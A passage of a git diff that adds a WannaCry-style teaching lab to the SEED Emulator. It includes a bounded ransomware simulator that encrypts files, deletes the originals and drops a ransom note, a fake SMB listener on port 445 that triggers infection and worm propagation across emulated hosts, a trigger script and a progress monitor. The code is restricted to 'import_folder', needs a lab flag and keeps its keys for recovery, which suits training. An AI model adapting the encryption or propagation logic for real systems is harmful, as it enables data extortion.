host. It discovers SEED Emulator host containers +from docker-compose labels, queries each import_folder state, and prints a live +summary of infection and recovery progress. +""" + +from __future__ import annotations + +import argparse +import hashlib +import json +import os +from pathlib import Path +import shutil +import subprocess +import time +from typing import Dict, List, Optional + + +ASN_LABEL = "org.seedsecuritylabs.seedemu.meta.asn" +NODE_LABEL = "org.seedsecuritylabs.seedemu.meta.nodename" +ADDRESS_LABEL = "org.seedsecuritylabs.seedemu.meta.net.0.address" +TARGET = "/home/seed/import_folder" +KEY_FILE = "/tmp/wannacry_lab_decryption_key.txt" + + +def docker_compose_command() -> List[str]: + docker = shutil.which("docker") + if docker is not None: + result = subprocess.run([docker, "compose", "version"], text=True, capture_output=True, check=False) + if result.returncode == 0: + return [docker, "compose"] + + docker_compose = shutil.which("docker-compose") + if docker_compose is not None: + return [docker_compose] + + return ["docker", "compose"] + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Monitor the Y04 WannaCry lab from the Docker host.") + parser.add_argument( + "--compose-file", + default=str(Path(__file__).resolve().parent / "output" / "docker-compose.yml"), + help="path to generated docker-compose.yml", + ) + parser.add_argument("--interval", type=float, default=2.0, help="seconds between refreshes") + parser.add_argument("--once", action="store_true", help="print one snapshot and exit") + parser.add_argument("--no-clear", action="store_true", help="do not clear the terminal between refreshes") + parser.add_argument("--show-hosts", type=int, default=20, help="max infected/recovered hosts to list") + return parser.parse_args() + + +def load_compose_as_json(compose_file: Path) -> Dict[str, object]: + result = subprocess.run( + docker_compose_command() + ["-f", str(compose_file), "config", "--format", "json"], + cwd=str(compose_file.parent), + text=True, + capture_output=True, + check=False, + ) + if result.returncode != 0: + raise RuntimeError(result.stderr.strip() or "docker compose config failed") + return json.loads(result.stdout) + + +def load_compose_with_simple_parser(compose_file: Path) -> Dict[str, object]: + """Parse the small subset of Compose YAML needed for SEED labels. + + This fallback avoids a PyYAML dependency for the host-side monitor. It is not + a general YAML parser; it only extracts service labels from generated compose + files when Docker Compose JSON output is unavailable. + """ + services: Dict[str, Dict[str, object]] = {} + current_service: Optional[str] = None + in_services = False + in_labels = False + + for raw_line in compose_file.read_text(encoding="utf-8").splitlines(): + if not raw_line.strip() or raw_line.lstrip().startswith("#"): + continue + + indent = len(raw_line) - len(raw_line.lstrip(" ")) + line = raw_line.strip() + + if indent == 0: + in_services = line == "services:" + current_service = None + in_labels = False + continue + + if not in_services: + continue + + if indent == 2 and line.endswith(":"): + current_service = line[:-1] + services[current_service] = {"labels": {}} + in_labels = False + continue + + if current_service is None: + continue + + if indent == 4: + in_labels = line == "labels:" + continue + + if in_labels and indent >= 6: + label_line = line[2:].strip() if line.startswith("- ") else line + if ":" in label_line: + key, value = label_line.split(":", 1) + elif "=" in label_line: + key, value = label_line.split("=", 1) + else: + continue + key = key.strip().strip("'\"") + value = value.strip().strip("'\"") + services[current_service]["labels"][key] = value + + return {"services": services} + + +def load_compose(compose_file: Path) -> Dict[str, object]: + try: + return load_compose_as_json(compose_file) + except Exception: + return load_compose_with_simple_parser(compose_file) + + +def load_host_services(compose_file: Path) -> List[Dict[str, str]]: + compose = load_compose(compose_file) + + hosts = [] + for service_name, service in compose.get("services", {}).items(): + labels = service.get("labels", {}) + node_name = str(labels.get(NODE_LABEL, "")) + asn = str(labels.get(ASN_LABEL, "")) + if not node_name.startswith("host_"): + continue + address = str(labels.get(ADDRESS_LABEL, "")).split("/", 1)[0] + hosts.append( + { + "service": str(service_name), + "asn": asn, + "node": node_name, + "address": address, + } + ) + + return sorted(hosts, key=lambda item: (int(item["asn"]), item["node"])) + + +def compose_exec(compose_file: Path, service: str, command: str, timeout: int = 8) -> subprocess.CompletedProcess: + return subprocess.run( + docker_compose_command() + ["-f", str(compose_file), "exec", "-T", service, "sh", "-lc", command], + cwd=str(compose_file.parent), + text=True, + capture_output=True, + timeout=timeout, + check=False, + ) + + +def key_fingerprint(key_text: str) -> str: + key_text = key_text.strip() + if not key_text: + return "" + return hashlib.sha256(key_text.encode()).hexdigest()[:12] + + +def query_host(compose_file: Path, host: Dict[str, str]) -> Dict[str, object]: + command = ( + "python3 /opt/wannacry-lab/safe_ransomware_sim.py status --target {target}; " + "printf '\\n---KEY---\\n'; " + "if [ -s {key} ]; then cat {key}; fi" + ).format(target=TARGET, key=KEY_FILE) + result = compose_exec(compose_file, host["service"], command) + + item: Dict[str, object] = dict(host) + item["reachable"] = result.returncode == 0 + item["error"] = result.stderr[-300:] if result.returncode != 0 else "" + item["status"] = "unknown" + item["encrypted_count"] = 0 + item["plain_files"] = 0 + item["victim_id"] = "" + item["key_fingerprint"] = "" + + if result.returncode != 0: + return item + + status_text, _, key_text = result.stdout.partition("\n---KEY---\n") + try: + report = json.loads(status_text) + except json.JSONDecodeError as exc: + item["error"] = f"could not parse status json: {exc}" + return item + + state = report.get("state", {}) + item["status"] = state.get("status", "not_encrypted") + item["encrypted_count"] = int(state.get("encrypted_count") or state.get("recovered_count") or 0) + item["plain_files"] = int(report.get("plain_files") or 0) + item["ransom_note_present"] = bool(report.get("ransom_note_present")) + item["victim_id"] = str(state.get("victim_id", "")) + item["key_fingerprint"] = key_fingerprint(key_text) + return item + + +def summarize(items: List[Dict[str, object]]) -> Dict[str, object]: + total = len(items) + reachable = sum(1 for item in items if item["reachable"]) + encrypted = [item for item in items if item["status"] == "encrypted"] + recovered = [item for item in items if item["status"] == "recovered"] + clean = [item for item in items if item["status"] == "not_encrypted"] + failed = [item for item in items if not item["reachable"] or item["status"] == "unknown"] + + fingerprints = [str(item["key_fingerprint"]) for item in encrypted + recovered if item["key_fingerprint"]] + duplicate_fingerprints = sorted({fp for fp in fingerprints if fingerprints.count(fp) > 1}) + + return { + "total": total, + "reachable": reachable, + "encrypted": encrypted, + "recovered": recovered, + "clean": clean, + "failed": failed, + "unique_key_fingerprints": len(set(fingerprints)), + "key_fingerprint_count": len(fingerprints), + "duplicate_fingerprints": duplicate_fingerprints, + } + + +def render(items: List[Dict[str, object]], args: argparse.Namespace) -> None: + summary = summarize(items) + if not args.no_clear: + os.system("cls" if os.name == "nt" else "clear") + + print("Y04 WANNACRY LAB MONITOR") + print("========================") + print(f"hosts discovered : {summary['total']}") + print(f"hosts reachable : {summary['reachable']}") + print(f"encrypted hosts : {len(summary['encrypted'])}") + print(f"recovered hosts : {len(summary['recovered'])}") + print(f"clean hosts : {len(summary['clean'])}") + print(f"unknown/unreachable hosts : {len(summary['failed'])}") + print( + "key fingerprints : {}/{} unique".format( + summary["unique_key_fingerprints"], + summary["key_fingerprint_count"], + ) + ) + if summary["duplicate_fingerprints"]: + print("duplicate key fingerprints: {}".format(", ".join(summary["duplicate_fingerprints"]))) + else: + print("duplicate key fingerprints: none observed") + print() + + def print_table(title: str, rows: List[Dict[str, object]]) -> None: + print(title) + print("-" * len(title)) + if not rows: + print("(none)") + print() + return + for item in rows[: args.show_hosts]: + print( + "AS{asn:<3} {node:<8} {address:<13} {status:<10} files={files:<2} victim={victim:<16} keyfp={keyfp}".format( + asn=item["asn"], + node=item["node"], + address=item["address"], + status=item["status"], + files=item["encrypted_count"], + victim=item["victim_id"] or "-", + keyfp=item["key_fingerprint"] or "-", + ) + ) + if len(rows) > args.show_hosts: + print(f"... {len(rows) - args.show_hosts} more") + print() + + print_table("Encrypted Hosts", summary["encrypted"]) + print_table("Recovered Hosts", summary["recovered"]) + print_table("Clean Hosts", summary["clean"]) + print("Press Ctrl-C to stop.") + + +def main() -> int: + args = parse_args() + compose_file = Path(args.compose_file).resolve() + if not compose_file.exists(): + raise SystemExit(f"compose file not found: {compose_file}") + + hosts = load_host_services(compose_file) + if not hosts: + raise SystemExit(f"no host services found in {compose_file}") + + while True: + items = [query_host(compose_file, host) for host in hosts] + render(items, args) + if args.once: + break + time.sleep(args.interval) + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y04_wannacry/safe_ransomware_sim.py b/examples/yesterday_once_more/Y04_wannacry/safe_ransomware_sim.py new file mode 100644 index 000000000..73ec1eded --- /dev/null +++ b/examples/yesterday_once_more/Y04_wannacry/safe_ransomware_sim.py @@ -0,0 +1,299 @@ +#!/usr/bin/env python3 +""" +Safe WannaCry-style ransomware simulator for SEED Emulator labs. + +This script is intentionally constrained. It only operates on a directory named +"import_folder", skips hidden state files, limits file sizes, and provides a +recovery command. It is for teaching the ransomware workflow with fake files, +not for real-world use. +""" + +from __future__ import annotations + +import argparse +import base64 +import hashlib +import json +import os +from pathlib import Path +import secrets +import socket +import sys +import time +from typing import Dict, Iterable, List + + +STATE_FILE = ".wannacry_lab_state.json" +RANSOM_NOTE = "README_RECOVER_FILES.txt" +ENCRYPTED_SUFFIX = ".wncry_lab" +DEFAULT_KEY_STORE = "/tmp/wannacry_lab_keys" +DEFAULT_VISIBLE_KEY = "/tmp/wannacry_lab_decryption_key.txt" +MAX_FILE_SIZE = 1024 * 1024 +MAX_TOTAL_BYTES = 10 * 1024 * 1024 + + +SAMPLE_FILES: Dict[str, str] = { + "class_notes.txt": "These are fake class notes for the ransomware lab.\n", + "project_plan.txt": "Milestone 1: build. Milestone 2: test. Milestone 3: recover.\n", + "budget.csv": "item,cost\nservers,1200\ntraining,300\nbackup,500\n", + "photos/family_trip.txt": "This placeholder represents an important personal file.\n", + "research/data.txt": "fake_id,value\n1,42\n2,99\n3,123\n", +} + + +def require_lab_ack(args: argparse.Namespace) -> None: + if not args.i_understand_this_is_a_lab: + raise SystemExit( + "Refusing to run. Add --i-understand-this-is-a-lab to confirm this is an isolated lab." + ) + + +def resolve_target(path: str) -> Path: + target = Path(path).expanduser().resolve() + if target.name != "import_folder": + raise SystemExit('Refusing to operate: target directory must be named "import_folder".') + return target + + +def iter_plain_files(target: Path) -> Iterable[Path]: + for path in sorted(target.rglob("*")): + if not path.is_file(): + continue + if path.name in {STATE_FILE, RANSOM_NOTE}: + continue + if path.name.startswith("."): + continue + if path.suffix == ENCRYPTED_SUFFIX: + continue + yield path + + +def iter_encrypted_files(target: Path) -> Iterable[Path]: + for path in sorted(target.rglob(f"*{ENCRYPTED_SUFFIX}")): + if path.is_file(): + yield path + + +def keystream(key: bytes, nonce: bytes, length: int) -> bytes: + blocks: List[bytes] = [] + counter = 0 + while sum(len(block) for block in blocks) < length: + blocks.append(hashlib.sha256(key + nonce + counter.to_bytes(8, "big")).digest()) + counter += 1 + return b"".join(blocks)[:length] + + +def transform(data: bytes, key: bytes, nonce: bytes) -> bytes: + stream = keystream(key, nonce, len(data)) + return bytes(a ^ b for a, b in zip(data, stream)) + + +def load_state(target: Path) -> Dict[str, object]: + path = target / STATE_FILE + if not path.exists(): + return {} + return json.loads(path.read_text(encoding="utf-8")) + + +def save_state(target: Path, state: Dict[str, object]) -> None: + (target / STATE_FILE).write_text(json.dumps(state, indent=2, sort_keys=True) + "\n", encoding="utf-8") + + +def create_sample_files(args: argparse.Namespace) -> int: + target = resolve_target(args.target) + target.mkdir(parents=True, exist_ok=True) + for relative, content in SAMPLE_FILES.items(): + path = target / relative + path.parent.mkdir(parents=True, exist_ok=True) + if path.exists() and not args.force: + continue + path.write_text(content, encoding="utf-8") + print(f"created sample files under {target}") + return 0 + + +def choose_victim_id(args: argparse.Namespace, target: Path) -> str: + if args.victim_id: + return args.victim_id + raw = f"{socket.gethostname()}:{target}:{time.time()}:{secrets.token_hex(8)}" + return hashlib.sha256(raw.encode()).hexdigest()[:16] + + +def write_ransom_note(target: Path, victim_id: str, encrypted_count: int) -> None: + note = f"""\ +YOUR LAB FILES HAVE BEEN ENCRYPTED + +This is a SEED Emulator ransomware simulation, not real malware. + +Victim ID: {victim_id} +Encrypted files: {encrypted_count} + +Educational scenario: + 1. The victim's fake files in import_folder were encrypted. + 2. A later lab step will model blockchain payment. + 3. After payment, the recovery key will be released. + 4. The victim can run the recovery command to restore the files. + +Do not use this script outside the isolated emulator. +""" + (target / RANSOM_NOTE).write_text(note, encoding="utf-8") + + +def encrypt(args: argparse.Namespace) -> int: + require_lab_ack(args) + target = resolve_target(args.target) + if not target.exists(): + raise SystemExit(f"target does not exist: {target}") + + state = load_state(target) + if state.get("status") == "encrypted": + raise SystemExit("target is already marked encrypted") + + key = secrets.token_bytes(32) + victim_id = choose_victim_id(args, target) + encrypted_files = [] + total_bytes = 0 + + for path in iter_plain_files(target): + size = path.stat().st_size + if size > args.max_file_size: + print(f"skip large file: {path}", file=sys.stderr) + continue + if total_bytes + size > args.max_total_bytes: + print("total byte limit reached; stopping", file=sys.stderr) + break + + data = path.read_bytes() + nonce = secrets.token_bytes(16) + ciphertext = transform(data, key, nonce) + encrypted_path = path.with_name(path.name + ENCRYPTED_SUFFIX) + encrypted_path.write_bytes(base64.b64encode(nonce + ciphertext)) + path.unlink() + encrypted_files.append(str(path.relative_to(target))) + total_bytes += size + + key_store = Path(args.key_store).expanduser().resolve() + key_store.mkdir(parents=True, exist_ok=True) + key_file = key_store / f"{victim_id}.key" + key_file.write_text(key.hex() + "\n", encoding="utf-8") + os.chmod(key_file, 0o600) + visible_key_file = Path(args.visible_key_file).expanduser().resolve() + visible_key_file.parent.mkdir(parents=True, exist_ok=True) + visible_key_file.write_text(key.hex() + "\n", encoding="utf-8") + os.chmod(visible_key_file, 0o600) + + state = { + "status": "encrypted", + "victim_id": victim_id, + "encrypted_at": time.time(), + "encrypted_files": encrypted_files, + "encrypted_count": len(encrypted_files), + "total_plaintext_bytes": total_bytes, + "key_store_hint": str(key_file), + "visible_key_hint": str(visible_key_file), + "algorithm": "lab-xor-sha256-stream", + } + save_state(target, state) + write_ransom_note(target, victim_id, len(encrypted_files)) + + print(f"victim_id={victim_id}") + print(f"encrypted_files={len(encrypted_files)}") + print(f"key_saved_for_lab_controller={key_file}") + print(f"visible_lab_decryption_key={visible_key_file}") + return 0 + + +def read_key(args: argparse.Namespace) -> bytes: + if args.key: + return bytes.fromhex(args.key.strip()) + if args.key_file: + return bytes.fromhex(Path(args.key_file).read_text(encoding="utf-8").strip()) + raise SystemExit("recovery requires --key or --key-file") + + +def recover(args: argparse.Namespace) -> int: + require_lab_ack(args) + target = resolve_target(args.target) + state = load_state(target) + if state.get("status") != "encrypted": + raise SystemExit("target is not marked encrypted") + + key = read_key(args) + recovered = 0 + for encrypted_path in iter_encrypted_files(target): + blob = base64.b64decode(encrypted_path.read_bytes()) + nonce, ciphertext = blob[:16], blob[16:] + plaintext = transform(ciphertext, key, nonce) + plain_name = encrypted_path.name[: -len(ENCRYPTED_SUFFIX)] + plain_path = encrypted_path.with_name(plain_name) + plain_path.write_bytes(plaintext) + encrypted_path.unlink() + recovered += 1 + + state["status"] = "recovered" + state["recovered_at"] = time.time() + state["recovered_count"] = recovered + save_state(target, state) + ransom_note = target / RANSOM_NOTE + if ransom_note.exists(): + ransom_note.unlink() + print(f"recovered_files={recovered}") + return 0 + + +def status(args: argparse.Namespace) -> int: + target = resolve_target(args.target) + state = load_state(target) + plain_count = sum(1 for _ in iter_plain_files(target)) if target.exists() else 0 + encrypted_count = sum(1 for _ in iter_encrypted_files(target)) if target.exists() else 0 + report = { + "target": str(target), + "state": state or {"status": "not_encrypted"}, + "plain_files": plain_count, + "encrypted_files_present": encrypted_count, + "ransom_note_present": (target / RANSOM_NOTE).exists(), + } + print(json.dumps(report, indent=2, sort_keys=True)) + return 0 + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Safe ransomware simulator for SEED Emulator labs.") + sub = parser.add_subparsers(dest="command", required=True) + + create = sub.add_parser("create-sample-files", help="create fake victim files") + create.add_argument("--target", default="./import_folder") + create.add_argument("--force", action="store_true") + create.set_defaults(func=create_sample_files) + + enc = sub.add_parser("encrypt", help="simulate ransomware encryption") + enc.add_argument("--target", default="./import_folder") + enc.add_argument("--victim-id") + enc.add_argument("--key-store", default=DEFAULT_KEY_STORE) + enc.add_argument("--visible-key-file", default=DEFAULT_VISIBLE_KEY) + enc.add_argument("--max-file-size", type=int, default=MAX_FILE_SIZE) + enc.add_argument("--max-total-bytes", type=int, default=MAX_TOTAL_BYTES) + enc.add_argument("--i-understand-this-is-a-lab", action="store_true") + enc.set_defaults(func=encrypt) + + rec = sub.add_parser("recover", help="recover encrypted lab files") + rec.add_argument("--target", default="./import_folder") + rec.add_argument("--key") + rec.add_argument("--key-file") + rec.add_argument("--i-understand-this-is-a-lab", action="store_true") + rec.set_defaults(func=recover) + + stat = sub.add_parser("status", help="show lab ransomware status") + stat.add_argument("--target", default="./import_folder") + stat.set_defaults(func=status) + + return parser.parse_args() + + +def main() -> int: + args = parse_args() + return args.func(args) + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y04_wannacry/trigger_initial_infection.py b/examples/yesterday_once_more/Y04_wannacry/trigger_initial_infection.py new file mode 100644 index 000000000..dce6139f9 --- /dev/null +++ b/examples/yesterday_once_more/Y04_wannacry/trigger_initial_infection.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python3 +"""Trigger the first lab infection for the WannaCry emulator example.""" + +from __future__ import annotations + +import argparse +import socket + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Trigger one WannaCry lab infection.") + parser.add_argument("target", help="target IP address") + parser.add_argument("--port", type=int, default=445) + parser.add_argument("--token", default="seedemu-wannacry-lab") + parser.add_argument("--timeout", type=float, default=3.0) + return parser.parse_args() + + +def main() -> int: + args = parse_args() + request = f"INFECT {args.token}".encode() + with socket.create_connection((args.target, args.port), timeout=args.timeout) as sock: + sock.sendall(request) + sock.settimeout(args.timeout) + response = sock.recv(1024).decode(errors="ignore").strip() + print(response) + return 0 if response.startswith("OK") or response.startswith("ALREADY") else 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y04_wannacry/vulnerable_smb_service.py b/examples/yesterday_once_more/Y04_wannacry/vulnerable_smb_service.py new file mode 100644 index 000000000..aea8f7a47 --- /dev/null +++ b/examples/yesterday_once_more/Y04_wannacry/vulnerable_smb_service.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +""" +Lab-only vulnerable SMB-like service for the WannaCry example. + +This is not SMB and it does not implement any real exploit. It listens for a +small lab trigger message and then runs the bounded ransomware simulator against +the local import_folder. +""" + +from __future__ import annotations + +import argparse +import json +from pathlib import Path +import socket +import subprocess +import sys +import time + + +STATUS_FILE = "/tmp/wannacry_lab_vulnerable_service.json" + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Run a lab-only vulnerable SMB-like service.") + parser.add_argument("--host", default="0.0.0.0") + parser.add_argument("--port", type=int, default=445) + parser.add_argument("--token", default="seedemu-wannacry-lab") + parser.add_argument("--target", default="/home/seed/import_folder") + parser.add_argument("--simulator", default="/opt/wannacry-lab/safe_ransomware_sim.py") + parser.add_argument("--decrypt-helper", default="/opt/wannacry-lab/decrypt_files.py") + parser.add_argument("--worm", default="/opt/wannacry-lab/wannacry_worm.py") + parser.add_argument("--targets-file", default="/opt/wannacry-lab/targets.txt") + parser.add_argument("--key-store", default="/tmp/wannacry_lab_keys") + parser.add_argument("--propagate", dest="propagate", action="store_true", default=True) + parser.add_argument("--no-propagate", dest="propagate", action="store_false") + return parser.parse_args() + + +def write_status(status: dict[str, object]) -> None: + status_path = Path(STATUS_FILE) + status_path.parent.mkdir(parents=True, exist_ok=True) + status_path.write_text(json.dumps(status, indent=2, sort_keys=True) + "\n", encoding="utf-8") + + +def run_simulator(args: argparse.Namespace) -> tuple[int, str, str]: + command = [ + sys.executable, + args.simulator, + "encrypt", + "--target", + args.target, + "--key-store", + args.key_store, + "--i-understand-this-is-a-lab", + ] + result = subprocess.run(command, text=True, capture_output=True, check=False) + return result.returncode, result.stdout, result.stderr + + +def launch_worm(args: argparse.Namespace) -> int | None: + if not args.propagate: + return None + + marker = Path("/tmp/wannacry_lab_worm_started") + if marker.exists(): + return None + + command = [ + sys.executable, + args.worm, + "--targets-file", + args.targets_file, + "--port", + str(args.port), + "--token", + args.token, + "--once", + ] + process = subprocess.Popen( + command, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + start_new_session=True, + ) + return process.pid + + +def install_recovery_helper(args: argparse.Namespace) -> str: + target_dir = Path(args.target) + helper_target = target_dir / "DECRYPT_FILES.py" + helper_source = Path(args.decrypt_helper) + if helper_source.exists(): + helper_target.write_text(helper_source.read_text(encoding="utf-8"), encoding="utf-8") + helper_target.chmod(0o755) + return str(helper_target) + return "" + + +def handle_client(conn: socket.socket, peer: tuple[str, int], args: argparse.Namespace) -> None: + request = conn.recv(1024).decode(errors="ignore").strip() + if request == "STATUS": + status = Path(STATUS_FILE).read_text(encoding="utf-8") if Path(STATUS_FILE).exists() else "{}" + conn.sendall(status.encode()) + return + + expected = f"INFECT {args.token}" + if request != expected: + conn.sendall(b"ERROR unsupported lab request\n") + return + + status = { + "status": "infection_requested", + "peer": f"{peer[0]}:{peer[1]}", + "time": time.time(), + "target": args.target, + } + write_status(status) + + code, stdout, stderr = run_simulator(args) + recovery_helper = install_recovery_helper(args) if code == 0 else "" + worm_pid = launch_worm(args) if code == 0 else None + status.update( + { + "status": "encrypted" if code == 0 else "failed", + "exit": code, + "stdout": stdout[-2000:], + "stderr": stderr[-2000:], + "recovery_helper": recovery_helper, + "worm_pid": worm_pid, + "finished_at": time.time(), + } + ) + write_status(status) + + if code == 0: + conn.sendall(b"OK encrypted lab import_folder; propagation started\n") + elif "already marked encrypted" in stderr: + conn.sendall(b"ALREADY encrypted lab import_folder\n") + else: + conn.sendall(f"ERROR simulator failed: {code}\n".encode()) + + +def main() -> int: + args = parse_args() + Path(args.target).mkdir(parents=True, exist_ok=True) + write_status({"status": "listening", "target": args.target, "port": args.port}) + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind((args.host, args.port)) + sock.listen(16) + print(f"lab vulnerable service listening on {args.host}:{args.port}", flush=True) + + while True: + conn, peer = sock.accept() + with conn: + handle_client(conn, peer, args) + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y04_wannacry/wannacry_emulator.py b/examples/yesterday_once_more/Y04_wannacry/wannacry_emulator.py new file mode 100644 index 000000000..a792ebf2d --- /dev/null +++ b/examples/yesterday_once_more/Y04_wannacry/wannacry_emulator.py @@ -0,0 +1,215 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from __future__ import annotations + +import argparse +from pathlib import Path +import sys + + +SCRIPT_DIR = Path(__file__).resolve().parent +REPO_ROOT = SCRIPT_DIR.parents[2] +B00_DIR = REPO_ROOT / "examples" / "internet" / "B00_mini_internet" +B01_DIR = REPO_ROOT / "examples" / "internet" / "B01_dns_component" + +for path in [REPO_ROOT, B00_DIR, B01_DIR]: + if str(path) not in sys.path: + sys.path.insert(0, str(path)) + +from mini_internet import build_emulator +from dns_component import run as build_dns_component +from seedemu.compiler import Docker, Platform +from seedemu.core import Action, Binding, Emulator, Filter, Node +from seedemu.layers import Base +from seedemu.mergers import DEFAULT_MERGERS +from seedemu.services import DomainNameCachingService, DomainNameService +from seedemu.services.DomainNameCachingService import DomainNameCachingServer + + +STUB_ASES = [150, 151, 152, 153, 154, 160, 161, 162, 163, 164, 170, 171] +LAB_DIR = "/opt/wannacry-lab" +IMPORT_DIR = "/home/seed/import_folder" +VULNERABLE_PORT = 445 + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Build the Y04 WannaCry simulator example.") + parser.add_argument("legacy_platform", nargs="?", choices=["amd", "arm"]) + parser.add_argument("--platform", choices=["amd", "arm"]) + parser.add_argument("--output", default=str(SCRIPT_DIR / "output")) + parser.add_argument("--dumpfile") + parser.add_argument( + "--hosts-per-as", + type=int, + default=4, + help="number of hosts to create in each B00 stub AS", + ) + parser.add_argument("--vulnerable-port", type=int, default=VULNERABLE_PORT) + parser.add_argument("--override", dest="override", action="store_true", default=True) + parser.add_argument("--no-override", dest="override", action="store_false") + parser.add_argument("--skip-render", dest="render", action="store_false", default=True) + args = parser.parse_args() + args.platform = args.platform or args.legacy_platform or "amd" + if args.hosts_per_as < 1 or args.hosts_per_as > 180: + parser.error("--hosts-per-as must be between 1 and 180") + return args + + +def resolve_platform(name: str) -> Platform: + return Platform.AMD64 if name == "amd" else Platform.ARM64 + + +def install_file(node: Node, local_name: str, remote_name: str) -> None: + content = (SCRIPT_DIR / local_name).read_text(encoding="utf-8") + node.setFile(f"{LAB_DIR}/{remote_name}", content) + + +def prepare_lab_dir(node: Node) -> None: + node.addBuildCommand(f"mkdir -p {LAB_DIR}") + node.appendStartCommand(f"mkdir -p {LAB_DIR} {IMPORT_DIR}") + + +def target_addresses(hosts_per_as: int) -> list[str]: + addresses = [] + for asn in STUB_ASES: + for index in range(hosts_per_as): + addresses.append(f"10.{asn}.0.{71 + index}") + return addresses + + +def install_vulnerable_program(node: Node, port: int, targets_file_content: str) -> None: + node.addSoftware("python3") + prepare_lab_dir(node) + install_file(node, "safe_ransomware_sim.py", "safe_ransomware_sim.py") + install_file(node, "decrypt_files.py", "decrypt_files.py") + install_file(node, "vulnerable_smb_service.py", "vulnerable_smb_service.py") + install_file(node, "wannacry_worm.py", "wannacry_worm.py") + install_file(node, "trigger_initial_infection.py", "trigger_initial_infection.py") + node.setFile(f"{LAB_DIR}/targets.txt", targets_file_content) + node.appendStartCommand( + f"chmod +x {LAB_DIR}/safe_ransomware_sim.py {LAB_DIR}/decrypt_files.py {LAB_DIR}/vulnerable_smb_service.py {LAB_DIR}/wannacry_worm.py {LAB_DIR}/trigger_initial_infection.py" + ) + node.appendStartCommand( + f"python3 {LAB_DIR}/safe_ransomware_sim.py create-sample-files --target {IMPORT_DIR}" + ) + node.appendStartCommand( + "python3 {}/vulnerable_smb_service.py --port {} --target {} " + ">> /var/log/wannacry-lab-vulnerable-service.log 2>&1".format( + LAB_DIR, + port, + IMPORT_DIR, + ), + fork=True, + ) + node.appendClassName("WannaCryLabVulnerableHost") + + +def install_blockchain_placeholder(emu: Emulator) -> None: + """Placeholder for the later payment/key-release blockchain workflow.""" + return + + +def add_dns_to_base(base_emu: Emulator) -> Emulator: + dns_component_file = SCRIPT_DIR / "dns_component.bin" + build_dns_component(dumpfile=str(dns_component_file)) + + dns_emu = Emulator() + dns_emu.load(str(dns_component_file)) + emu = base_emu.merge(dns_emu, DEFAULT_MERGERS) + + emu.addBinding(Binding("a-root-server", filter=Filter(asn=171), action=Action.FIRST)) + emu.addBinding(Binding("b-root-server", filter=Filter(asn=150), action=Action.FIRST)) + emu.addBinding(Binding("a-com-server", filter=Filter(asn=151), action=Action.FIRST)) + emu.addBinding(Binding("b-com-server", filter=Filter(asn=152), action=Action.FIRST)) + emu.addBinding(Binding("a-net-server", filter=Filter(asn=152), action=Action.FIRST)) + emu.addBinding(Binding("a-edu-server", filter=Filter(asn=153), action=Action.FIRST)) + emu.addBinding(Binding("ns-twitter-com", filter=Filter(asn=161), action=Action.FIRST)) + emu.addBinding(Binding("ns-google-com", filter=Filter(asn=162), action=Action.FIRST)) + emu.addBinding(Binding("ns-example-net", filter=Filter(asn=163), action=Action.FIRST)) + emu.addBinding(Binding("ns-syr-edu", filter=Filter(asn=164), action=Action.FIRST)) + + ldns = DomainNameCachingService() + global_dns_1: DomainNameCachingServer = ldns.install("global-dns-1") + global_dns_2: DomainNameCachingServer = ldns.install("global-dns-2") + + emu.getVirtualNode("global-dns-1").setDisplayName("Global DNS-1") + emu.getVirtualNode("global-dns-2").setDisplayName("Global DNS-2") + + base: Base = emu.getLayer("Base") + base.getAutonomousSystem(152).createHost("local-dns-1").joinNetwork("net0", address="10.152.0.53") + base.getAutonomousSystem(153).createHost("local-dns-2").joinNetwork("net0", address="10.153.0.53") + + emu.addBinding(Binding("global-dns-1", filter=Filter(asn=152, nodeName="local-dns-1"))) + emu.addBinding(Binding("global-dns-2", filter=Filter(asn=153, nodeName="local-dns-2"))) + + global_dns_1.setNameServerOnNodesByAsns(asns=[160, 170]) + global_dns_2.setNameServerOnAllNodes() + + dns: DomainNameService = emu.getLayer("DomainNameService") + dns.getZone("example.net.").addRecord("www A 1.1.1.20") + + emu.addLayer(ldns) + return emu + + +def customize_for_wannacry(emu: Emulator, hosts_per_as: int, vulnerable_port: int) -> None: + base = emu.getLayer("Base") + targets_file_content = "\n".join(target_addresses(hosts_per_as)) + "\n" + for asn in STUB_ASES: + current_as = base.getAutonomousSystem(asn) + for index in range(hosts_per_as): + install_vulnerable_program( + current_as.getHost(f"host_{index}"), + vulnerable_port, + targets_file_content, + ) + + install_blockchain_placeholder(emu) + + +def build_y04_emulator(hosts_per_as: int, vulnerable_port: int) -> Emulator: + base_emu = build_emulator(hosts_per_as=hosts_per_as) + emu = add_dns_to_base(base_emu) + customize_for_wannacry(emu, hosts_per_as=hosts_per_as, vulnerable_port=vulnerable_port) + return emu + + +def run( + dumpfile=None, + hosts_per_as=4, + vulnerable_port=VULNERABLE_PORT, + output=None, + platform=Platform.AMD64, + override=True, + render=True, +) -> None: + emu = build_y04_emulator(hosts_per_as=hosts_per_as, vulnerable_port=vulnerable_port) + if dumpfile is not None: + emu.dump(dumpfile) + return + + if render: + emu.render() + + output_dir = Path(output or SCRIPT_DIR / "output").resolve() + output_dir.parent.mkdir(parents=True, exist_ok=True) + emu.compile(Docker(platform=platform), str(output_dir), override=override) + + +def main() -> int: + args = parse_args() + run( + dumpfile=args.dumpfile, + hosts_per_as=args.hosts_per_as, + vulnerable_port=args.vulnerable_port, + output=str(Path(args.output).resolve()), + platform=resolve_platform(args.platform), + override=args.override, + render=args.render, + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git 